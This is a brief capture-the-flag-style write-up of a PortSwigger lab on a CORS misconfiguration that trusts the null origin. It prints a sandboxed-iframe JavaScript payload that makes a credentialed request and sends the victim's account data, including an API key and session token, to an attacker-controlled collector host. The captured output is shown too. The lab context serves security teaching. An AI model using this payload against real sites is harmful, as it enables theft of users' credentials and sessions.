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apsyleg1 min read
#portswigger #cors #web-security

CORS Vulnerability with Trusted Null Origin

Lab

CORS vulnerability with trusted null origin · Apprentice

Solution

Given

This website has an insecure CORS configuration in that it trusts the "null" origin.

To solve the lab, craft some JavaScript that uses CORS to retrieve the administrator's API key and upload the code to your exploit server. The lab is solved when you successfully submit the administrator's API key.

You can log in to your own account using the following credentials: wiener:peter

Analyzing the task

This lab is essentially the same as the previous one — CORS vulnerability with basic origin reflection. Only this time we need to send null as the Origin.

For this case, PortSwigger suggests this payload:

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();

function reqListener() {
  location='malicious-website.com/log?key='+this.responseText;
};
</script>"></iframe>

Add the lab server URL. Add the Burp Collaborator address.

Final payload

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://0a0a00ea035af99f80fe030b0009004f.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();

function reqListener() {
  location='https://lynd8h8lcwa94sfs22f6xcrl2c83wvkk.oastify.com/log?key='+this.responseText;
};
</script>"></iframe>

It landed in Burp Collaborator:

{ "username": "administrator", "email": "", "apikey": "JWG2ozE8VQh0xNGRHFkUNn4hbZV0G8O1", "sessions": ["G9Hisz1V4jr5bLxv7lCRqtHHBoyB1BeO"] }

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